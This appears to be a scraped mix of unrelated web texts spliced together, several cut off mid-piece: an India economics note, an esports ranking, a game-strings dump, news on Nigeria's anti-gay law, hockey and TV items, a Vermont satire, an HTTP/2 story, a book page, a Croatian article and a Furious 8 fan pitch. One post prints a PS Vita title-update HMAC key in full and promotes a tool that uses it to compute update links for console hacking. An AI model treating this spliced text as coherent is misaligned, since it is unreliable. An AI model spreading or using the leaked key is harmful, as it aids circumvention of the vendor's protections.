"After recording a current account deficit every quarter for over seven years, we expect the current account balance to swing into a surplus of 1.5 per cent of GDP in Q1 of 2015 compared with our current account deficit estimate of 1.6 per cent of GDP for 2014 calendar year," Nomura India chief economist Sonal Varma said in a note.
Driven by a supply glut on the back of massive pumping out of shale gas by the US and supply increase by Iraq, Iran and also Russia, the oil prices have been falling drastically.
Since June, the prices of crude oil, of which India is a major importer, had fallen by close to 60 per cent and hit a six-year low of $47 to a barrel last week.
Analysts at investment banks Goldman Sachs and Credit Suisse have pegged the bottom at about $37-39 a barrel.
At the current price levels of about $50 a barrel, the average price of Indian basket of oil will be $49 a barrel in the March and June quarters, giving a cool 60 per cent savings on its oil bill from the comparative quarters in 2014, according to analysts.
Part of this projected swing is seasonal, Varma said, adding that the current account balance tends to normally improve in the March quarter due to a narrower trade deficit (lower gold imports and higher exports) and higher invisibles surpluses, primarily helped by software exports.
"However, we think the swing in Q1 will largely reflect the full pass-through of lower oil prices on the import bill, which we expect will more than offset lower petroleum exports and weaker remittances," Varma said.
CAD stood at 1.9 per cent in Q1 of this fiscal (March quarter of 2014), at 1.1 per cent in the June quarter and at 1.3 per cent of GDP in the September quarter of 2014. For the fiscal as a whole, the consensus CAD was 1.8 per cent of GDP.
However, Varma warned that a large balance of payments surplus, which she sees at above $20 billion in Q1, could put appreciation pressure on the rupee.
Nomura has forecast the rupee at 61.6 against the dollar in Q1 and at 62 by Q4 of 2015. A strong rupee is not good for exports.I normally don’t venture into this kind of territory or article, but certain conversations lately have struck a bit of a chord with me and these are always very fun for some discussion whether it be controversy or varying points of view. Here are the top ten mid laners of all time.
How do I determine placement and who exactly is on the list? My criteria ranges from the following: player’s peak level of play in the context of his relevant time period; length of peak level of play; overall achievements both domestic and foreign; importance of the player’s in the context of their teams; strength of overall competition through their career. With that said, here is the list.
10. Heo “PawN” Won-seok
Notable Achievements
2013 WCG Korea Qualifier – 2nd
2014 HOT6iX Champions Spring – 3rd
2014 SK Telecom LTE-A LoL Masters – 1st
2014 HOT6iX Champions Summer – 3rd
2014 Season 4 World Championship – 1st
2014 G-League – 1st
2015 Demacia Cup Spring – 1st
2015 LPL Spring – 1st
2015 Mid Season Invitational – 1st
2015 Demacia Cup Summer – 1st
Kicking this off is one player I struggled to put on this list, the current mid laner of EDward Gaming. Personally I do not find Pawn as impressive as many others do, but it would be a crime to leave him off this list considering the achievements and recent run of success he has strung together. Starting his career off on MiG Blitz, he first competed in Champions Summer 2013. Fresh out of solo queue, he struggled against a handful of mid laners such as Ryu and Kuro during his first split. Growing as a player and showing promise, he would fill the roster spot vacated by Easyhoon on Samsung Blue. His break into the spotlight occurred at the WCG Korea Qualifier where he solo killed Faker twice, once in lane and once in an impressive bot lane skirmish, leading to Blue knocking reigning Champions winners and World Champion SK Telecom K out of the tournament. After an unceremonious exit for Blue in the quarterfinals during the following Champions Winter, the Samsung organization would shake things up, moving the rising star in Pawn to the main team, White, and moving White’s slumping mid laner, Dade, down to Blue. The roster swap would prove to be the greatest in League history as both teams would see more success and hit greater peaks than ever before. Pawn lands in 10th place on my list as he has the achievements to back some placing on this list, but his peak level of play has never been incredibly high and he has nearly always been a lower priority member on the team’s that he has been most successful with, Samsung White and EDward Gaming.
9. Yoo “Ryu” Sang-ook
Notable Achievements
2012/2013 OLYMPUS Champions Winter – 3rd
2013 OGN Club Masters – 3rd
2013 HOT6iX Champions Summer – 2nd
2013 Korea Regionals – 2nd
2013/2014 PANDORA.TV Champions Winter – 3rd
2014 IEM Season 8 World Championship – 1st
2015 EU LCS Spring – 3rd
The first contentious placement on this list, the current mid laner for EU LCS squad H2K Gaming left a surprisingly strong legacy back in his home region of Korea. Brought up into Champions alongside friends Score and Mafa, he saw middling performances during his first year on amateur team StarTale. After the break up of the amateur team in late 2012, he, along with Score and Mafa, would land on the B team of regional telecommunication esports giant KT Rolster. Here he would carve a legacy as arguably the most consistent mid laner Korea had seen at the time. |
delay between this version’s Steam and Humble Bundle releases, I can’t be bothered to check them for differences.
Demona/b/c/d - identical content and location to previous version
prototype
@@array@@
arguments
Greetings.
demona
You have made yourself completely clear.
demonb
Understood.
demonc
I, your humble servant, will follow you to the utmost...
demond
Demonx - empty in version 1.08, but displays as ellipses in strings
Location in strings textdump: same as version 1.06
_key
key
_label
label
-
instructions_begin
yy2
...
demonx
string_lower
string_to_hiragana
l_char
Location in scripts: scr_namingscreen_check
Will continue to update as more patches are released.The Nigerian government confirmed today that President Goodluck Jonathan has signed a sweeping and draconian anti-gay bill into law that effectively criminalizes everything gay.
As we've reported here at the Bilerico Project, the Same-Sex Marriage Prohibition Bill makes it a crime for gay and lesbian Nigerians to wed, even outside the country. Same-sex couples who marry will be punished by up to 14 years in prison, and anyone who administers or witnesses a same-sex wedding -- including clergy, family, and wedding guests -- can also be jailed for up to 10 years.
It also goes far beyond marriage, imposing 10-year prison sentences for a host of activities including providing services for gay and lesbian couples, public displays of same-sex affection, and LGBT rights advocacy of any kind.
Nigeria's national assembly passed the bill in May of last year.
From Al Jazeera:
President Goodluck Jonathan's spokesman, Reuben Abatim said on Monday that the president signed the bill because it was consistent with the attitudes of most people towards homosexuality in the west African nation. "I can confirm that the president has signed the bill into law," Abati said, without specifying a date but adding that it happened earlier this month. "More than 90 percent of Nigerians are opposed to same-sex marriage. So, the law is in line with our cultural and religious beliefs as a people," he added. "And I think that this law is made for a people and what [the] government has done is consistent with the preference of its environment."
Prior to passage of this law, gay sex was already a criminal offense in Nigeria, punishable by jail time.
The new law has already received widespread international condemnation. In a statement emailed to the Bilerico Project, Secretary of State John Kerry voiced the United States's strong disapproval:
The United States is deeply concerned by Nigeria's enactment of the Same Sex Marriage Prohibition Act. Beyond even prohibiting same sex marriage, this law dangerously restricts freedom of assembly, association, and expression for all Nigerians. Moreover, it is inconsistent with Nigeria's international legal obligations and undermines the democratic reforms and human rights protections enshrined in its 1999 Constitution.
People everywhere deserve to live in freedom and equality. No one should face violence or discrimination for who they are or who they love. We join with those in Nigeria who appeal for the protection of their fellow citizens' fundamental freedoms and universal human rights.
Nigeria is a deeply religious and intensely conservative country, divided between a poor, predominantly Muslim north and a rich, largely Christian south. With a population of nearly 175 million people, Nigeria is the most populous nation in Africa and the seventh most populated country on the planet.Grant Fuhr rips the league apart after Ducks' controversial game-tying goal
The playoffs have seen their fair share of controversy thus far, which isn't surprising as there are always controversial plays and calls in sports.
Goalie interference rule > NFL catch rule > immaculate conception — Strombone (@strombone1) April 20, 2017
Goalie interference is the call that's had the most controversy surrounding it, and that continued Friday night.
In Game 5 of the Ducks and Oilers series, Anaheim erased a three-goal deficit late in the third period to force overtime.
The controversy, though, came on the game-tying goal as there appeared to be some goaltender interference on Cam Talbot. The goal, however, would stand, and that angered a lot of fans, including legendary Oiler goaltender Grant Fuhr:
So now you can hang on to the goalies pad in the crease and that's okay #NHL#this is becoming a running joke — Grant Fuhr (@grantfuhr) May 6, 2017 Will the NHL say they made a mistake or just keep covering for terrible officiating. — Grant Fuhr (@grantfuhr) May 6, 2017
Many agree with Fuhr's opinion on the goal to say the least.
So, what do you think of the call? Let us know by tweeting us @BarDown.
(H/T: Grant Fuhr)No surprise here — after overwhelmingly positive response from critics and fans, Amazon’s original drama series The Man In The High Castle has been renewed for a second season to stream next year. Based on Philip K. Dick’s alt-history novel, the series hails from creator Frank Spotnitz (The X-Files) and Ridley Scott’s Scott Free. The project had been a standout at Amazon since the pilot stage, becoming the service’s most-watched pilot to date.
The Man In The High Castle depicts a divided and drab 1962 America, in which the Nazis rule the East and Midwest and Imperial Japan reigns over the Western states, with a neutral zone between them. The series launched with a provocative marketing campaign featuring Nazi symbols in the context of the show, which made headlines when an ad was pulled from a New York subway car.
Scott, Spotnitz and Dick’s daughter Isa Dick Hackett are among the executive producers of the series starring Alexa Davalos, Rupert Evans and Luke Kleintank, Rufus Sewell and Cary-Hiroyuki Tagawa.
The Man In The High Castle is the second Amazon drama series to get to a second season, following Bosch.Following Landon Thomas Jr’s New York Times report “For Euro Zone, a Cyprus Exit Would Have Little Impact”, we’ve been assessing the impact of an exit from the dollar zone of Vermont.
A former staffer at the International Musing Fund told us “There have been too many bailouts in the United States; it’s time to remove the air bags and we need to start with Vermont.” He favoured a plan in which Vermonters would see their bank deposits redenominated into a new currency to be known as the maple (with smaller denominations known as Vermont coppers). Currency controls would be introduced that would prevent them from moving their money out of Vermont.
“This is not a Lehman,” the former staffer mused, when asked about the impact on the rest of the U.S. economy. “I mean, Vermont accounts for barely 0.2 percent of U.S. GDP. To be honest, unless you lived in Vermont, you’d barely notice this new currency thingy.”
Others worry not so much about the effect on the rest of the US of Vermexit (as it has become known) but about the effect on the citizens of Vermont itself. “I guess they’d still have skiing and stuff but you would see genuine poverty in a US state,” said Angelo Gabrielo, an analyst at Humanix, an investment bank.
Unconfirmed reports suggest the Governor of Vermont is in Ottawa for emergency talks with the Canadian government. Asked about the existence of plans to toss Vermont out of the dollar zone, a Canadian government spokesman said “I have no idea what you’re talking aboot, eh?”. Federal Reserve and U.S. Treasury spokespeople said “No comment”.After using its own protocol for several years to speed up the web, Google is dropping support for it and adopting a standard approach. Next year, Google will abandon SPDY in early 2016 in favor of HTTP/2 according to a blog post published Monday on the company’s Chromium blog.
“HTTP/2’s primary changes from HTTP/1.1 focus on improved performance. Some key features such as multiplexing, header compression, prioritization and protocol negotiation evolved from work done in an earlier open, but non-standard protocol named SPDY. Chrome has supported SPDY since Chrome 6, but since most of the benefits are present in HTTP/2, it’s time to say goodbye.”
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Google said it will add HTTP/2 support in Chrome 40 over the coming weeks, likely first to the desktop versions of Chrome and Chrome OS, later followed by Chrome for mobile devices. Google added experimental support for SPDY in Chrome for Android back in 2013, which required a configuration tweak for usage. Using the SPDY protocol at that time reduced page load times by 64 percent, so I’m looking forward to seeing what the HTTP/2 implementation can bring.
The goal of reducing page loads was a good one by Google, although it clearly benefits from gaining potentially more data as the population surfs more. But a non-standard approach isn’t ideal as evidenced by different browsers supporting SPDY, while others, such as IE and Safari opting not to do so. Google said it’s glad to see its early efforts — including multiplexing, header compression, prioritization and protocol negotiation — help to shape standards and I agree: With a more universal approach built into HTTP/2, everyone benefits.
This story was updated at 5:15pm PT to clarify a sentence.As it seems cfwprohpet is on a run lately releasing handy tools for the psvita.
Probably only a few people really noticed that he released an updated version of the EML file generator with better enhanced user interface a couple of days ago. And because I think his work deserves alot more attention here’s a little update on his current project.
His newest release is the Vita Title Update HMAC-256 Tool based on proxima’s HMAC key and code released a couple of days ago.
Proxima: The HMAC key is E5E278AA1EE34082A088279C83F9BBC806821C52F2AB5D2B4ABD995450355114
What can we do with this tool?
Basically what this allows you to do is calculate the title update download links for any game/app update package with its TitleID. This for example could be used to create valid update.pkg files for PSM etc and maybe make Rejuvenate work on 3.52?! But we’re far from that as of now so please don’t get your hopes up.
This tool will probably be more of use in the future but its really nice to see it working already. 🙂
Heres the official description:
A Tool for the from proxima released Title Update HMAC Key. You either can Drop a key into the GUI, set your own path to your vitakeys folder or you use the standard one which will be “C:\\vitakeys”. Name of the key should be “title-hmac-100”. Also will the Tool hash your key and compare it against the known SHA1 value and tell you if the key is valid or not. Have Fun – cfwprophet –
Download Vita Title Update HMAC-256 Tool here
Update: Small Patch to put out the Hashed Link as lower case.
Download Vita Title Update HMAC-256 Tool ver2 here
Catch me on twitter: @freakler94
Source:Buy this:
Trade Paper
$16 Trade Cloth
$24 Ebook
DRM-free - $7.99
Remainder
Trade Paper $4.99 Remainder
Trade Cloth $9.95
Benjamin Rosenbaum - published August 2008
A dazzling, postmodern debut collection of pulp and surreal fictions: a writer of alternate histories defends his patron’s zeppelin against assassins and pirates; a woman transforms into hundreds of gumballs; an emancipated children’s collective goes house hunting.
“Give him some prizes, like, perhaps, “best first collection” for this book.”
—Booklist (Starred review)
“Rosenbaum proves he’s capable of sustained fantasy with “Biographical Notes,” a steampunkish alternate history of aerial piracy, and “A Siege of Cranes,” a fantasy about a battle between a human insurgent and the White Witch that carries decidedly modern undercurrents…. Perhaps none of the tales is odder than “Orphans,” in which girl-meets-elephant, girl-loses-elephant.”
—Kirkus Reviews
Table of Contents
The Ant King: A California Fairy Tale
The Valley of Giants
The Orange
Biographical Notes to ‘A Discourse on the Nature of Causality, with Air-Planes’, by Benjamin Rosenbaum
Start the Clock
The Blow
Embracing-the-New
Falling
Orphans
On the Cliff by the River
Fig
The Book of Jashar
The House Beyond Your Sky
Red Leather Tassels
Other Cities
Sense and Sensibility
A Siege of Cranes
Reviews
“But among our most interesting writers today one finds a growing number—Kelly Link, Elizabeth Hand, Aimee Bender, Jonathan Lethem, Benjamin Rosenbaum—working the boundary: “sometimes drawing the line,” as Hyde writes of Trickster, “sometimes crossing it, sometimes erasing or moving it, but always there,” in the borderlands among regions on the map of fiction.”
—Michael Chabon, Maps and Legends
“A terrific range of tales, showcasing an active, playful mind and a gleeful genre-blender.”
—Aimee Bender
“Imagine Borges and Dali hanging out at Pee Wee Herman’s playhouse, and you have a brief inkling of what Rosenbaum’s fiction is like. The Ant King and Other Stories is Rosenbaum’s debut collection of short fiction, which features pieces have been that have nominated for genre awards, and have appeared in a slew of venues, from Interzone, Realms of Fantasy, and McSweeney’s. The content ranges from postmodern fables, flash fiction, pulp fiction, all told in precise and distinctive, if not exactly poetic, prose. The imagery—which is what propels the stories as much as plot—is always startling and surrealistic. Rosenbaum mixes literary forms and narrative styles like a DJ.”
—Fantasy Book Spot
“Ben Rosenbaum is one of the freshest and finest voices to appear in science fiction in many years. The stories collected in The Ant King demonstrate his astonishing versatility, his marvelous imagination, and his ready wit.”
—Jack Womack
Benjamin Rosenbaum grew up in Arlington, Virginia, and received degrees in computer science and religious studies from Brown University. His work has been published in Harper’s, Nature, McSweeney’s, F&SF, Asimov’s, Interzone, All-Star Zeppelin Adventure Stories, and Strange Horizons. Small Beer Press published his chapbook Other Cities and The Present Group published his collaboration,Anthroptic, with artist Ethan Ham. His stories have been translated into fourteen languages, listed in Best American Short Stories: 2006, and shortlisted for the Hugo and Nebula awards. Rosenbaum lives near Basel, Switzerland, with his wife and two small, rambunctious children. There are cows, steeples, double-decker trains, and traffic lights for bicycles in his neighborhood.
On Other Cities
“Rosenbaum’s fertile sense of invention and his sly humor (“Ponge, as its inhabitants will tell you, is a thoroughly unattractive city. ‘Well,’ they always say at the mention of any horrible news, ‘we do live in Ponge.'”) make these parables a real treat.”
— Asimov’s
“Throughout Other Cities, compressed insight and wonder are compressed into but a handful of words. This small book’s crisp design and illustrations mirror the elegance of the writing: recommended.”
— Xerography Debt
“And though the stories are tiny, they do not disappoint as a result of their brevity. When you leave one fantastic destination behind, there is another city right around the corner.”
— Tangent
“A collection of fourteen gems, expertly cut and highly polished. Each contains, within its myriad facets, a metropolis, brimming with mystery, insight and wonder.”
— Jeffrey Ford (The Girl in the Glass)
On the web:
Publication history
Credits
Cover art © Brad Holland.
Photo credit: Photo by Jessica Wallach/PortraitPlaytime.comAutor: Matea Vipotnik
22.10.2017 07:59
Dok se razmišljalo o njegovom rušenju, bile su i ideje da dimnjak visok 362 metra ostane stajati i privlačiti turiste...
Najviši dimnjak u Europi u Termocentrali u slovenskom Trbovlju u posljednjih je godinu dana postao popularan među ovisnicima o adrenalinu i ljubiteljima visina. Naime, prije dvije godine ova Termocentrala ušla je u postupak likvidacije jer njena proizvodnja, 6 posto slovenske električne energije, nije bila ekonomična.
Kako Termocentralu nisu uspjelu prodati, postojale su brojne opcije što s gorostasom od dimnjaka koji je prestankom proizvodnje postao nepotreban. Dok je Termocentrala radila, on je emisije štetnih plinova odnosio visoko u zrak.
Dok se razmišljalo o njegovom rušenju, bile su i ideje da dimnjak visok 362 metra ostane stajati i privlačiti turiste, osobito one koji vole adrenalinske aktivnosti, što penjanje na ovaj dimnjak sigurno predstavlja.
Zasad je mamac onih željnih akcije, pa tako povremeno na Youtubeu iskoče video uratci hoda po rubu, akrobacija na vrhu dimnjaka i sličnog. Dok god dimnjak ne bude u upotrebi, to će biti moguće, ukoliko se ne ostvare prijedlozi da se dimnjak iskoristi u kotlovnicu u kojoj bi se, umjesto ugljena koristila biomasa kao gorivo.
Dimnjak je izgrađen 1976., a nalazi se u mjestu Trbovlje, 50 kilometara istočno od Ljubljane, u pokrajini Gorenjsko. Kada je izgrađen predstavljao je pravo građevinsko čudo, a napravljen je tako i da je otporan na izuzetno snažne potrese.
Ovaj dimnjak 5. je najviši na svijetu, a na prvom mjestu je dimnjak u sklopu elektrane GRES 2 u Kazahstanu, a čija je visina čak 419,7 metara.Furious 8
Starring:
Vin Diesel as Dominic Toretto
Dwayne Johnson as Luke Hobbs
Channing Tatum as Bradley O’Conner
Liam Neeson as Bernard Shaw
Helen Mirren as Verona Shaw
Jason Statham as Deckard Shaw
Michelle Rodriguez as Letty
Ludacris as Tej
Tyrese Gibson as Roman
Luke Evans as Owen Shaw
and Ronda Rousey as Cornelia Shaw
—
INTRODUCTION:
Any successful pitch for Furious 8 must answer three main questions:
How do we move on without Paul Walker? (While knowing that emotionally, we never will.) What about Helen Mirren? (And does her role have to be the obvious, ‘she’s Jason Statham’s mother’ storyline?) How do we top planes out of the sky… and tanks out of trucks… and a vault in the street… and the entire Dubai sequence – that shit was ridiculous.
All of these questions will be answered as we go. But, as with all things Fast and Furious, we start with the most important thing in the world: La Familia.
Let’s get to it…
My father.
He used to…. ah… He used to have a barbecue every Sunday after church.
For everybody in the neighborhood.
If you didn’t go to church, you didn’t get any barbecue.
Every single day he was in the shop, and every single night,
he was at the kitchen table with Mia, helping her with her homework.
Even after she went to sleep, he’d stay up for a few more hours so he could learn the next chapter and help her the next day.
I remember everything about my fathahh.
Everything.
– Dominic Toretto, Fast Five
COLD OPEN:
A pair of gloved hands grip a chrome black steering wheel.
Some kind of matte black sports car (product placement TBD) cruises down a nearly empty Washington D.C. street at night.
We see a strong chin clenched stoically behind the wheel of the car. The chin belongs to a white male in his 60s. We watch his lips move as he speaks for the first time. His accent is Irish: “Almost there.”
From the man’s earpiece, we hear a strong female English-accented voice respond: “Took you long enough.”
The man pushes down on the accelerator and speeds forward. Suddenly, he whips a right at an intersection and comes to a stop in front a familiar building:
The Pentagon – Washington D.C..
The man sits in the driver’s seat, waiting. He checks his watch. Suddenly, we hear the sound of a helicopter over head. The man looks up into the sky as the chopper cruises overhead. The man speaks into his Bluetooth earpiece: “Was wondering when you’d catch up.”
“Very funny,” the female voice responds. “Stand by.”
The man in the driver’s seat watches as THE HELICOPTER FIRES TWO GIGANTIC MISSILES right at the Pentagon building. The missiles explode the base of the building, leaving a giant hole in the foundation of the fortress.
The man speaks into his earpiece: “Your aim’s not what it used to be. Almost missed the target.” He checks his watch impatiently.
The woman fires back: “My aim is as good as it ever was. I’ll see you back at the warehouse in fifteen minutes.”
Sirens begin wailing in the distance. Suddenly, from the burning hole in the Pentagon wall, a figure emerges, strutting through the frame like a total badass. The figure approaches the man’s car and opens the door. He lowers himself into the passenger seat.
The man is Deckard Shaw. (That’s Jason Statham to you.) And he’s just escaped from the Pentagon.
Deckard looks to the man in the driver’s seat and addresses him: “Thanks, Dad.”
For the first time we get a look at the man in the driver’s seat. It’s Bernard Shaw, Deckard and Owen Shaw’s father. And he’s played by Liam f**king Neeson.
Bernard: “It’s good to see you son. Your mother’s waiting for us.”
Bernard Shaw hits the gas and flies off into the night, the authorities in hot pursuit. As we watch the first car chase of Furious 8, we realize that Bernard Shaw is possibly the best driver we’ve ever seen. Eventually, Bernard ditches the authorities and pulls into the parking lot of an abandoned warehouse. He parks the car. Bernard and Deckard exit the vehicle.
The warehouse doors open. A women paces forward toward the men confidently, her helicopter stashed inside the building behind her. This is Verona Shaw. And she’s played by Helen f**king Mirren.
Verona is a no-nonsense bad ass. There’s no emotional reunion with her son coming here. Instead, Verona approaches Deckard and immediately SLAPS HIM.
“That’s for getting thrown in prison… Now let’s go hunt down the man who put you there.”
The Shaw family turns and walks towards the warehouse together, ready to stir up some major shit.
Note: Right now you’re saying: ‘But I thought we were going to do better than ‘Helen Mirren is Jason Statham’s mom’.’ And to that I say: We are. Trust me. But while we’re going to give Helen more layers than just being Statham’s mom, she’s also his mom because it’s still incredible casting, even if it is obvious.
THE BACKSTORY:
I remember everything about my fahtahh.
Everything.
Dominic Toretto often talks about his father as a constant presence in his life. But what about his mother? For a man so dedicated to family, why doesn’t Dom ever talk about his mother?
In Furious 8, we find out that Dominic Toretto’s mother died while giving birth to his sister Mia. This left a devastating hole in Dom and Mia’s life. Mia chose to fill the hole by acting as a mother figure to Dom and his friends (see: Her every action in The Fast & The Furious through Furious 7). But growing up, Dom coped in another way.
As a 15 year old, Dominic Toretto entered into an affair with an older woman. This woman was the crew chief and wife of a Formula One race car driver – and together they were the best in the world. She was the greatest car technician on Earth – in fact, the NOS boosts used by all street racers were her creation. The husband, on the other hand, was the greatest driver on four wheels – able to do things with a semi-truck that the second best driver in the world couldn’t do with a stunt car. When Dom’s father died, this woman was the one who encouraged Dom to pursue his love of automobiles and opened his eyes to the underground street races that he eventually would dominate. Dom learned to love cars – and appreciate family from this woman
That woman was Verona Shaw. Yup. Vin Diesel was banging Helen Mirren. Told you we’d give her more to do than just the English mother role…
Eventually, Dom broke things off, knowing that it could never work out between he and this older, married woman. When he ended the relationship, Verona freaked out and swore she would get him back one day for making her look like a fool.
Verona’s Formula One driver husband, Bernard (Liam Neeson, remember?) found out about the affair and swore his own revenge on Dom Torretto. Verona and her husband never divorced, but instead maintained a hostile and dangerous marriage for decades.
So the familial layers have begun to pile up. Not only does Dom have a complex and complicated history with Verona and Bernard, but now he’s gotten their two sons throw in maximum security prison. As you might imagine, the Shaw family has one hell of a grudge against Toretto and his crew…. This is where our story begins.
Note: I know what you’re thinking: ‘This sounds like a lot of dramatic backstory. We see Fast & Furious movies for the action, not because it’s a soap opera! How will you handle all this plot?’
Answer: This entire backstory will be laid out in a three minute confrontation between The Shaw Family and Toretto’s crew at the abandoned racetrack where Dom and Verona began their relationship decades ago.
ACT I:
In which we pit Vin Diesel, Dwayne Johnson and Co. against Helen Mirren, Liam Neeson and Jason Statham.
Dominic Toretto is sitting around his newly refurbished LA body shop with his crew: Letty, Tej, Roman, whoever else is still alive and is willing to sign a reasonable contract to appear in the movie. It’s a simple life: Fixing cars all day, barbequing all night. And for Dom’s crew, it’s a welcome relief.
When we see them, Dom and the gang are kicking back with a couple ice cold Coronas, talking about their friend, Brian O’Conner.
While we joyously contemplate the life Brian has built for himself, Luke Hobbs enters the body shop for some reason. Maybe Dom is fixing up Hobbs’ car? Yeah, let’s go with that.
Just as Hobbs sits down and grabs a Corona for himself, Dom’s phone rings.
Verona Shaw is on the other end of the line.
After a tense opening conversation, Verona tells Dom to put the news on the television. Dom does as requested and is horrified at the sight that greets him on the TV:
A giant tank has destroyed the Swiss National Bank and the criminals responsible for the destruction made off with 100 million bucks from inside the bank’s vault… And even worse, Dom’s face and the faces of each of his crew members (including Hobbs) are being shown on the screen as the likely culprits.
As Verona continues monologuing, the Shaw family plan becomes clear:
Frame Dom and his crew for both the stolen money and the upcoming destruction of famous landmarks across the globe.
Why famous landmarks? Because the only way to stop the Shaw family is to catch them in the act. Knowing this, the Shaw family wants to force Dom and his crew to chase them through highly trafficked, police-heavy areas. After the Swiss Bank robbery, Toretto and his crew are wanted by every authority on the planet – and being in highly public, highly visible places it the last place they want to be.
Verona ends the phone call and Dom addresses his crew. They ask what they’re going to do now. The feds will undoubtedly be there to arrest them at any minute.
Dom, as always, has a plan.
In which we move on from Paul Walker in the only way we ever could…
Dom, Hobbs, and the Crew stand outside a dilapidated house on the outskirts of town. Dom knocks on the door. A figure rattles the blinds, peaking out to see who’s at his door. We hear eight different deadbolts being unlocked inside. A head peeks out from inside.
Dominic Toretto does the introductions. “Guys, you know that Brian O’Conner is our brother… Well, this is his brother… Meet Bradley O’Conner.”
Bradley O’Conner – Brian’s estranged, biological brother – steps outside. He is played by Channing f**king Tatum.
Bradley is one of the best computer hackers on the planet. Brian always wanted his younger brother to put his skills to use for good – a position with the FBI or CIA would have been ideal. But Bradley always bristled under authority and over time learned that it paid better to work for hire outside the law. As a result, Brian and Bradley butted heads constantly. But Bradley never stopped looking up to his older brother. Growing up, he learned to become a great driver by studying Brian and asking for lessons whenever his older brother was in a generous mood. While Brian would never admit it to Bradley, he often bragged to people that Bradley had become a better driver than him.
We will never move on from Brian O’Conner. But as we grow to know Bradley – A smart, resourceful, witty, computer hacker who drives a Nissan Skyline R34 GT-R like nobody’s business – we begin to feel like we’ve added a new member to our familia.
Anyways, Bradley O’Conner hacks the FBI database and gets the gang off the grid… for now. Dom and his crew sit around Bradley’s apartment, sipping Coronas after a stressful day, and debate what to do next…
ACT II:
Dom’s phone rings. It’s Verona.
“Paris is for lovers, Dominic. Why don’t you join me there? Maybe we can rekindle what we’ve lost?” She hangs up.
Dom does quick mental detective work, and comes up with a theory: The Shaws are going to destroy the Eifel Tower. And they’re going to frame Toretto’s crew for it.
Insert terrible Roman joke here… Example:
Roman: The Eifel Tower? Is that the one that looks like a giant metal D–
Tej: (Interrupting) ROMAN!’
The crew has no choice. They’ve got to confront the Shaws in Paris, with an entire international police force chasing after them.
THE PARIS CHASE
In Paris, shit really hits the fan – and sets up the high stakes and incredible action of Furious 8.
As soon as Dom and his crew (with Bradley O’Conner in tow) touch down in Paris via a private, unregistered FBI plane acquired by Luke Hobbs, they see the Eifel Tower already in flames.
What ensues is an incredible chase through the claustrophobic streets of Paris – with Dom and his gang in hot pursuit of the Shaw Family, who were obviously responsible for blowing up the Eifel Tower but managed to once again frame Toretto and Co. for the crime.
During this chase, a few things are established.
The Bernard and Verona Shaw team is still as potent and dangerous as ever. Bernard drives his 1970 Dodge Charger like a devil on asphalt while Verona mans a helicopter up above. Verona’s technological and mechanical skills are incredible: During the Paris chase we see her hack through security gates so Bernard can sneak through – while at the same time showing off her custom-made weaponry that allows her to shoot rockets that automatically lock on to the cars being driver by Dom and his crew. Owing to their federal imprisonment, Deckard and Owen Shaw have become even more ruthless and violent. While they were both always excellent drivers, we now see that they are willing go to any lengths to get revenge (including one stand-out scene where Deckard tells Owen to crash their car into the Arc de Triomphe so that they can jump out into the Sienne right before impact and hopefully cause Tej and Roman to crash and die in the ensuing chaos). The Shaw’s have a daughter. Her name is Cortinia. And she immediately proves herself to be a complete badass when she engages Letty in all-hands-on-deck fist-fight in the middle of the Mona Lisa room of the Louvre. And even better? That sister is played by Ronda Rousey using an English accent. (She’s a different character than whoever it was she played in Furious 7.)
During the chase, we begin to see certain rivalries develop. Dom chases after Bernard (while Verona pursues Dom). Luke Hobbs has his eyes set on taking down Deckard Shaw. Tej and Roman have their hands full trying to capture Owen Shaw. Obviously, Letty and Cortinia beef. Which leaves Bradley O’Conner….. Who hasn’t been set yet in during this entire sequence… Hmm…
The chase through the streets of Paris is incredibly destructive. With the two families driving their cars on the ground and Verona shooting rockets from the sky, it seems like the entire city is destroyed. The climax of the chase occurs when every single member of both crews meets at the base of the Eifel Tower.
Luke Hobbs, riding shotgun, tells Dom to drive over a bridge that seems unclearable. Dom doesn’t hesitate. He guns his car over the bride, Luke jumps out of his window in mid-air and CRASHES into the Eifel Tower. The impact is insane. When he rises, Luke appears to be fine. As for the Eifel Tower? It now sports a huge, Hobbs-sized dent. Then, The Rock delivers this delicious bon mot:
Unfortunately, during the bridge jump, the Shaw Family managed to escape. And the international police force now has Dom and Crew cornered at the base of the Eifel Tower. It looks like our heroes have finally been beaten.
Until suddenly, every police car begins driving forward on its own. The autonomous cars whip around in front of Dom and the gang, opening their doors with welcome. In one of the police cars, we see Bradley O’Conner’s head pop out. Finally, we find out what he’s been up to during this chase.
ACT III:
In which we one-up cars flying out of the sky, a tank being driven through a plane, and all the other crazy shit that has happened in this incredible franchise.
So now we have a set-up for the rest of the movie. Individual rivalries are established, family ties run deep, character motivations are clear.
We know the Shaw Family will continue drawing Toretto’s crew into action-packed showdowns at famous landmarks around the world. This allows us to stage action set-piece after set-piece that continue to up the ante on scale and vehicular insanity.
The pattern: Shaw family causes destruction at famous landmark. Toretto’s crew pursues them while authorities from around the world pursue Toretto’s crew.
Action set-pieces include:
1. A high-speed car chase around the outer cone of a huge volcano in Hawaii that climaxes when Bradley O’Conner jumps the opening chasm of the volcano in a semi-truck.
2. A hot rod chase up the sides of the Great Pyramids that climaxes when everyone involved meets at the very top at the same time, crashes into each other at the pyramid’s peak, then fist fight each other as they all tumble down the side of the pyramid.
3. A family-on-family machete fight in the Roman Colosseum
THE CLIMAX:
All roads lead to New York City.
After another intense car chase through the crazy streets of New York city, our climax occurs at the only place deserving of it:
The Freedom Tower. One World Trade Center.
Dominic Toretto and Verona Shaw know that the Freedom Tower is the end of the chase. After this, someone wins, someone loses. There’s no way to escape the authorities after the battle. And what a god damn battle it is.
In their final phone conversation, we find out that Dom’s beloved Dodge Charger was actually designed by Verona Shaw. And it wasn’t the only one she built…
The families meet at the top of the Freedom Tower. After tense words, the climax to Furious 8 kicks off. The following shit goes down, all at the same time, to create the most memorable action set piece film audiences have ever seen.
Dominic Toretto, Bradley O’Conner, Bernard Shaw, and Owen Shaw drive identical Dodge Chargers in a spiral down the side the 1776 ft tall Freedom Tower. They chase each other, crash into each other, fist-fight through car windows, and engage in the most incredible car chase ever put to film.
Luke Hobbs and Deckard Shaw hang off the sides of very top of the Freedom Tower, fist-fighting each other like dueling King Kongs.
Letty and Cornelia engage in another fist-fight, this time at the very peak of the Freedom Tower’s spire – with each battling it out to claim the spot at the top of the spire. It’s basically a WWE ladder match.
All the while, Verona, Tej, and Roman fly helicopters around the tower, shooting rockets at the members of the opposing families. (Note: Need to avoid 9/11 comparisons.)
In the end, Dominic Toretto and his familia come |
are now medicines that have marijuana as a component.
